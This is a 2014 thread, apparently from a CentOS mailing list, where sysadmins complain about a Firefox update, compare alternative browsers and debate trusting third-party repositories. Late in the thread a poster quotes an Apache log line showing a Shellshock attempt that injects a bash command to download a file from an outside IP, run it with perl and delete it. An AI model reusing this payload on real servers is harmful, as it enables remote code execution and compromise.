Firefox: Annoyance

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I just updated firefox, here at home… and when I fired it back up, *all* of my tabs were gone. Every one (all couple dozen…)

mark, CentOS 6.5

62 thoughts on - Firefox: Annoyance

  • op 25-09-14 02:46, Tom Bishop schreef:

    Hello,

    when I launched Firefox31 at one site yesterday, I got a dialog saying:

    It’s been a long time since you used Firefox, would you like to clean it up?
    After the “clean up”, I automaticaly got a directory ” Old Firefox Data
    ” on the desktop. In there my old Firefox profile is stored.

    Greetings, J.

  • op 25-09-14 09:01, Johan Vermeulen schreef:
    and I had a lot of users who had the title bar disappear. When you right-click in the white space near the top, you can check/uncheck.

  • op 25-09-14 13:46, mark schreef:

    Then maybe you are stuck in full-screen mode? Press f11 to exit that.

    grts, Johan

  • Indeed, with some new releases of some software we use you just have to learn everything from scratch. I understand the frustration of people who got used to least time consuming way to use it, then all of a sudden, it’s all different. I don’t remember where I heard this, yet I would prefer the developers to follow this:

    Don’t change anything unless it is absolutely necessary.

    (it was excellent attitude to programming I was doing once: this way you diminish the chance to break something that works…)

    Valeri

    ++++++++++++++++++++++++++++++++++++++++
    Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247
    ++++++++++++++++++++++++++++++++++++++++

  • Valeri Galtsev wrote:

    No. 99.44% of the time, I’m *NEVER* in fullscreen mode. All these damn developers seem to be thinking of their idiot, er, smart phones, and *not*
    about the majority of us using real computers with real monitors.

    It is *completely* unacceptable to release an update that appears to ignore the configuration files, and doesn’t even *show* the menu, which would absolutely freak out an “ordinary user”.

    And to lose the tabs! I am *not* going to update firefox at work till they fix this – I have stuff I need.

    mark

  • Switch to Palemoon or Qupzilla, firefox has “improved” itself to the point where it’s just not a choice anymore, let alone a good one. I’ve been using Palemoon and it’s been a damn good choice for me… ymmv

    Find something else that works for you, there are other choices. It’s gotten to the point where firefox is as bad as chrome or ie. A shame, it used to be such a good choice.

  • I’ve started looking for firefox replacement some 4 if not 5 years ago. Since one of the students working here whom I knew after running his own company with a couple of his friends for about a year went to mozilla foundation as a …(production manager if my memory doesn’t fail me, my apologies if I’m wrong). Shortly after that the whole attitude there, at least as far as Firefox is concerned, changed. )Quite in line with what I
    know about the guy, hence my circumstantial conclusion. I’m not say he changed it, it may be true, but maybe his hiring was just a consequence of change that already happened.) Firefox releases started getting rushed out, like every 2 or 3 Months new release; they were awfully overburdened with new “fancy” (often not that necessary) stuff, changing dramatically how you interact with your browser. Worst of all, not to well debugged before releasing. Those who still remember netscape and mozilla browsers, try to remember how often you had to apply critical updates, or upgrade the browser to new version. I know, I know, still…

    Yes, I still didn’t find replacement for firefox… so, anyone who has a any suggestions of decent open source browser, please, let me know.

    Valeri

    ++++++++++++++++++++++++++++++++++++++++
    Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247
    ++++++++++++++++++++++++++++++++++++++++

  • Steve Lindemann wrote:

    palemoon looks nice – *is* there a package for it somewhere, or do you have to d/l and install from their homepage?

    I have to worry, here at work. I am *not* going to even think about trying to force my users to use another browser, one they’ve never heard of (I’ve never heard of either of these). This needs to be fixed….

    mark

  • I’m in the same fix… But. When I will find open source, acceptable browser which I can predict will last and will have the same great attitude late netscape or mozilla had, I will start installing it simultaneously with firefox, yet will make it default browser, which users can switch to firefox from if the want to, and will definitely mention why I suggest that browser. Some users will get alone with new browser, and after some critical mass of them, maybe a year down the road it will be done deal. The only shortcoming in my plan is an existence of damn google chrome. (Others already cursed at it, so I’ll save my breath).

    Valeri

    ++++++++++++++++++++++++++++++++++++++++
    Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247
    ++++++++++++++++++++++++++++++++++++++++

  • I like the look of palemoon, I am going to drop an email to Nux and see if we can get it added to his repo.

  • yup, that would be the fly in the ointment. It’s certainly not in the distro’s I use (base,extras,updates,rpmforge,epel). I did find qupzilla in linux mint, but not palemoon and neither in the CentOS distro’s that I use. Can’t speak to other systems.

    For a mass install you pretty much have to roll your own. I’ve only used it on individual systems that I work with directly and downloaded from the website. I can only speak to my personal use. Hopefully it will start showing up in the distro’s, we definitely need something other than firefox these days.

  • m.roth@5-cent.us wrote:

    My concern with Pale Moon is that it’s based on the Firefox 24 extended support release, which is no longer supported. Don’t know how that’ll play out.

    In the meantime I’ve added exclude=firefox to my yum configuration and am sticking with Firefox 24. On Fedora I’ve switched to Midori.

    I don’t want ‘tabs on top’ and over the past several releases the Firefox developers have been making it more and more difficult to configure that. It used to be the default but now it requires a third-party extension and jumping through several hoops.

    Ron

  • Sad. If there is no own developers team behind that, it hardly will survive “enterprise level” length of time…

    I’ve tested and am using midori on my FreeBSD workstation (and some servers whenever I need to use browser on the server…). I can not push midori on my users though, as midori is a bit too rudimentary in my opinion compared to what my users usually need from web browser…

    Just my $0.02

    Valeri

    ++++++++++++++++++++++++++++++++++++++++
    Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247
    ++++++++++++++++++++++++++++++++++++++++

  • Tom Bishop wrote:
    mention browser, and

    Maybe we can get it into extras? I mentioned something from his repo to my manager, who understandably balked at a Russian server (this is a US gov’t agency (non-DoD) that we work at….

    mark

  • Oops, yeah I can see why that might be an issue, Nux is pretty active and the source is available but yeah I get it.

    If I had more time I would like to try to help out at least with the builds, but we still need to get it in a repo somewhere.

    Something to work at, will add it to my to do list.

  • That is a relief. I recommend my users against several things, free Kasperski antivirus one of them (knowing that Kasperski is KGB guy, and in that sort of service you never retire, only feet first dead; true about that service in any country…)

    Valeri

    ++++++++++++++++++++++++++++++++++++++++
    Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247
    ++++++++++++++++++++++++++++++++++++++++

  • maybe try seamonkey, I’ve been using it for ages (basically since firefox split from mozilla suite ;-) ) and I’m satisfied. It uses the same base code as firefox & thunderbird but it doesn’t seem to change cosmetic things around all the time.

    No packages for EL6 AFAIK, for a long time I built my own but now I just grab the Linux/x86_64 build from their download page, tar xfvj, rename the subdir to have the date there, make my seamonkey-latest symlink point to that dir, make a symlink in that dir pointing to
    /usr/lib64/mozilla/plugins/ , and voila.

  • Nicolas Thierry-Mieg wrote:

    Thanks, I sit (and type) corrected. There was something nagging at me, saying Russia was wrong for Nux. However, I don’t foresee aforesaid manager being happy with an eastern European individual’s repo.

    *sigh*

    But – could someone correct me if I’m wrong – isn’t “extras” for things like this?

    mark

  • Guess it’s the old “if it ain’t American, it ain’t right” attitude? :-).

    A suggestion for your picky boss: Custom repository.

    You could create a custom repository featuring these “off limits”
    products and simply create a repo-release package which gets installed with each machine.

    This way each machine has the repository, and can install the extra packages.

    I have done this before and works fine, I usually just create my own rpms or grab src rpms from fedora koji and put them in my own repo if I want something that is not available in any repositories.

    This should solve most of the problems with your boss :-).

    PS: Better not tell your boss Linux was created in Finland..

    Kind Regards, Jake Shipton (JakeMS)
    GPG Key: 0xE3C31D8F
    GPG Fingerprint: 7515 CC63 19BD 06F9 400A DE8A 1D0B A5CF E3C3 1D8F

  • Jake Shipton wrote:

    Don’t be absurd. How ’bout “can we be sure that no one’s inserted nasties into the code?” How ’bout “who else has looked at and compared the code to the project source?”

    *I* would trust Nux… but a) I can’t speak or set policy for my organization[1][2], and b) I wouldn’t feel comfortable committing my organization to use it, and urging it on my users of my division, and then someone hacks his repo.

    As an admin I used to work with liked to say, he was paid to be professionally paranoid.

    We have our own repo. However, there’s *2.x* of us (my manager’s working with another Institute too much of the time these days), and we do NOT
    want to have to maintain packages (don’t even *ask* me about my packaging of BioPerl). We want to yum update from trusted repos….

    *snicker* Each machine. Right, I’m going to put a repo on ever single server and workstation… and then maintain it. When nobody actually works on their workstation, the work is supposed to be done on servers, with home directories NFS mounted….

    You’re joking, right?

    mark

  • Sorry, missing footnotes to last email:
    1] you’ll notice I never mention the organization name – I really am not allowed to speak for my organization, or my company.
    2] Partly because I work for a federal contractor….

    mark

  • Fair enough, same reason I do not use Windows at all anywhere :-).

    Yeah, I know the feeling of that, I am the only IT guy in our company my job usually includes:

    1) Build systems
    2) Configure servers
    3) Maintain servers
    4) Configure desktops
    5) Maintain desktops
    6) Develop any homemade applications when and where necessary
    7) Develop and maintain website
    8) Process and deliver online orders
    9) Reply to customer support emails
    10) Occasionally be on shop front (Mostly weekends) and directly deal with customers.
    11) Anything else as and where needed.

    Basically.. everything as I am part of a 3-way business partnership which only has 3 people working (Self employed).

    I literally work from when I wake up to when I go to bed.

    So I know what it’s like to not have many people doing stuff, and I
    know it can be done, so maintaining your own repository is actually quite easy when there is two of you if you set up email notifications etc of when new packages are released, and assuming you don’t put far to many packages in your own repo and keep it to the odd one or two where needed you should be able to maintain it fairly easily. :-)

    Nope quite serious, regarding installing the repo on the machines, create your own “release” package, then it’s just the case of yum install .

    If you use PXE booting for new installs, just include it on the kickstart file and it will automatically be installed to any new systems.

    After that initial setup, you just install and update the packages the same as you would with any other repository package.

    Besides, I’m just offering a simple solution to your problem…

    Kind Regards, Jake Shipton (JakeMS)
    GPG Key: 0xE3C31D8F
    GPG Fingerprint: 7515 CC63 19BD 06F9 400A DE8A 1D0B A5CF E3C3 1D8F

  • USA people are not too familiar with Europe which extends from the Arctic circle (Svalbard, 81º North, Norwegian) to the Mediterranean, and from the French coast to the Ural mountains in Russia. The 28 countries of the EU have a population exceeding 800 million (the USA’s is about
    307m). That leaves about 22 European countries not (yet) in the EU.

    Paul England, EU.

  • My take would be he just didn’t focus on the domain name. Sysadmins usually decipher those into geographical location easily. I admire Europe:
    everybody speaks multiple languages. BTW one of our professors brought this joke when he came back from Europe. If I wasn’t sure the joke has long-long beard I would think he made it up himself…: Person who speaks
    2 languages: bilingual, 3 languages: trilingual; 1 language: American ;-)

    Valeri

    ++++++++++++++++++++++++++++++++++++++++
    Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247
    ++++++++++++++++++++++++++++++++++++++++

  • Unless the behavior is different in CentOS than RHEL, it is fixed.

    You can turn on the menu bar (right click and click the check mark)

    If your users use Windows or mac, they already are using something that does not have a menu bar. Firefox has the same look everywhere.

    So, because you have to check a box to get the menu, you want to look for a new browser, which could just stop working at the whims of the upstream guys (like chromium did) when they move on to the latest and greatest glibc, etc? This sounds silly to me .. check the menu box and use firefox. It will be supported and secure until EOL.

    Of course, it is your machine(S) so feel free to do whatever you want.

  • No, it is not because of that. At least in my case. I started looking for decent open source browser that to an extent possible follows the rule
    “don’t change anything unless it is absolutely necessary” as far as the way of user interaction goes some 5 or so years ago. Not only changes that brake all former logic (I’m talking about Firefox here), but also stupid rushing of new hardly ever tested “releases”,… So, you are happy with it; it’s your way of life, silly or not is seems to me. The same as my feelings about “enterprise attitude” any sort of software, silly or not my feelings seem to you.

    Just my $0.02

    Valeri

    ++++++++++++++++++++++++++++++++++++++++
    Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247
    ++++++++++++++++++++++++++++++++++++++++

  • The following article is from 2011 mind you, when FF 4 had 31% market share instead of the 17% it has now:

    http://www.techrepublic.com/blog/it-security/has-the-mozilla-foundation-lost-its-collective-mind/

    And then the famous Kaply blog where Asa Dotzler tells all of us entreprisey folks that use FF to get stuffed:

    http://mike.kaply.com/2011/06/23/understanding-the-corporate-impact/

    We are on FF-ESR for our MS_Win users as well as CentOS, but this constant deliberate breakage by the MF folks has had me actively considering finding an alternative for some time now. I had sort of settled on Opera but they seem to have stopped development on the Linux version.

    I love the extensions that are available for FF but I am tired beyond care of witnessing the pointless rearranging of the deck chairs while FF slips ever so gently beneath the waves.

  • You, and your boss, should become aware that Romania joined the North Atlantic Treaty Organisation (NATO) on March 29, 2004. The United States presently has a formal military alliance with Romania. The same one that it has with Canada, Turkey, Great Britain, and most of Europe.

  • James B. Byrne wrote:

    Assuming this gets through – my hosting provider’s mailhost is being blocked, AGAIN, by those assholes at IX magazine that run nixspam….

    It’s still not one of the large repos, and (if yuo didn’t see my other response), we have no knowledge of how secure his server, where he hosts his repo, is from being hacked. We *do* have to, legally, worry about HIPAA (personal health data) and PII data.

    We’ll ignore the concept of telling scores of people that they have to not use the browser they know, and have to learn a new one….

    mark

  • I hope, “my” government doesn’t go into alliance with Russia behind my back ;-) (I’m perfectly OK about Romania, no matter how much more careful I’ll be about repositories hosted there compared to the ones hosted, say, in Finland, just based on statistics of compromised machines…)

    Valeri

    ++++++++++++++++++++++++++++++++++++++++
    Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247
    ++++++++++++++++++++++++++++++++++++++++

  • Valeri Galtsev wrote:

    Please, please note: we’re *NOT* US DoD* – we try to help people….

    What, you’re not looking forward to the Ukraine hosting repos…?

    mark

    * Old, old t-shirt line: join the Army, travel to distant lands, meet exotic people, and learn to kill them.

  • These guys they just don’t get the hint and then we have to watch in disgust their heads being cut off by the friends of Libya :)

  • Dunno if it is really any sillier to stop supporting ancient libs than it is to keep them completely frozen for umpteen years with no improvements and force the choice. Too bad there can’t be a nice sensible progression of backwards compatible updates.

  • The problem is that the “don’t change anything” rule can’t start until you get it right the first time, and browsers in general are still working on that – along with the standards committees. If you are using CentOS7 you have the option of adding google chrome which probably is even worse for the rate of change but at least it is closely in tune with google sites and across various devices.

  • I did mention open source browsers, which google chrome was not last time I checked. Not to mention I do dislike googe’s privacy policies, so I’m myself staying away (wherever I can) from anything even just derived from google’s code. Even less I’m inclined to push this onto my users. I can not interfere with them when they are dying to have google chrome on their machines, but that is different.

    Thanks for adding a candidate to my list of potential replacements for firefox (which didn’t make it to my list, still thanks for the effort!).

    Valeri

    ++++++++++++++++++++++++++++++++++++++++
    Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247
    ++++++++++++++++++++++++++++++++++++++++

  • linux apache web servers with the bash exploit are getting owned en masse today. my (patched) internet web server has logged 100s and
    100s of attempts like…

    66.186.2.172 – – [26/Sep/2014:00:49:29 -0700] “GET /cgi-bin/test.sh HTTP/1.0” 404 294 “-” “() { :;}; /bin/bash -c \”wget -O /var/tmp/wow1
    208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\””

  • I feel really stupid, but I have to ask. If your server wasn’t patched, it only would have owned by the above if that file exists, is executable by apache and it indeed invokes bash (say, has #!/bin/bash or whatever bash location is as first line), right? ;-)

    Valeri

    ++++++++++++++++++++++++++++++++++++++++
    Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247
    ++++++++++++++++++++++++++++++++++++++++

  • no. mod_cgi launches /bin/sh and passes it the command, even if the file doesn’t exist. and /bin/sh is linked to bash

  • At first glance I would agree with you, but then I would wonder, if that request wouldn’t work almost anywhere, why are the skr1pt k1dd13s doing it?

    –keith

  • Old source versions of Apache used to come with a test.sh file in the default cgi-bin directory, but those days are long gone, I suspect.

    Cheers,

    Cliff

  • Damn, indeed it is not sh, but symlink to bash. Crap! Am I already to that extent FreeBSD and not Linux guy…

    Ba

    Valeri

    ++++++++++++++++++++++++++++++++++++++++
    Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247
    ++++++++++++++++++++++++++++++++++++++++

  • Wouldn’t you need a particular Apache configuration for mod_cgi to launch /bin/sh? e.g., /cgi-bin/ configured as a ScriptAlias, and/or
    *.sh configured with an appropriate handler? Granted that’s likely a common configuration, but a site without a configured /cgi-bin/ should be immune to this attack even if their /bin/sh is a symlink to
    /bin/bash.

    –keith

  • Apache passes it to mod_cgi to have that discover that referenced file doesn’t exist?!
    Did I too program like that when I was programmer?

    Valeri

    ++++++++++++++++++++++++++++++++++++++++
    Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247
    ++++++++++++++++++++++++++++++++++++++++

  • Don’t use cgi. Have no /cgi directory. Don’t load mod_cgi

    Bash is patched (updated to new version). Automatically bloke IPs of anyone trying to hack Apache. Am I safe ?

    Paul. England, EU.

    Learning until I die or experience dementia.

  • You are. But if you run the server you do want to serve what you want to serve. Now, imagine hotel, everybody in it is behind a single router. One person has hacked machine that tried to tap into your server. You block the IP, therefore everyone in Hotel… Now do you want to serve it? If not why to start Apache at all? However, my case is different. If servers of our Departments don’t serve anything [we need] to everybody, they do not need me, sysadmin, desktop support guy will be more suitable (and probably less expensive).

    Just my $0.02

    Valeri

    ++++++++++++++++++++++++++++++++++++++++
    Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247
    ++++++++++++++++++++++++++++++++++++++++

  • Hi Valeri,

    If a hacker, always using someone else’s compromised computer, attempts to break-in, their IP is blocked for all traffic within about 1 second.

    Yes that means one hacked computer’s IP address is blocked for mail and web. I decline to let the hacker have repeated attempts to hack into, or abuse, any of my web sites.

    If there are only a few access attempts after the IP address is blocked, the ban will expire monthly. If there are very many attempts, then the ban will expire about 3 weeks after the attempts stop.

    If this inconvenience’s an innocent web user, I have neither ability to detect the inconvenience nor to determine the user’s innocence. I
    understand your hotel analogue. In England many hotel guests use their mobile phones or tablets – not on wifi but on direct radio (mobile telephone) links; each link having a distinctive IP address.

    If the web hacker is operating through a data centre, then I permanently block, for port 80, the whole of the data centre’s known IP block.

    The alternative is to be a willing victim.

    Best regards,

    Paul England – the USA’s government’s pet European poodle.

  • It’s more a question of why you run the service at all. If blocking people from reaching it doesn’t bother you, why not just shut it down?

  • Blocking people ? Data Centre bots that download all or parts of my web sites for someone’s personal amusement or for commercial gain of their customers or simply to find email addresses to use for spamming, are not the ‘people’ I want to attract.

    Why should I tolerate some malicious nutter trying to hack into my web servers ? Better to block their IP after the first attempt.

    Why should I close everything because of a very small, but very active, group of pests ? Better to block the compromised IPs and the rent-an-IP-address-for-a-few-hours services whilst letting everything else continue normally.

    No logical reason to give spammers and hackers unrestricted access. Abuse my facilities and my systems will cut them off. Its a simple and effective policy.

  • You said you were blocking IPs. The IPs you see don’t represent people or even specific devices and you have no way of knowing the correspondence.

    Why tolerate anyone?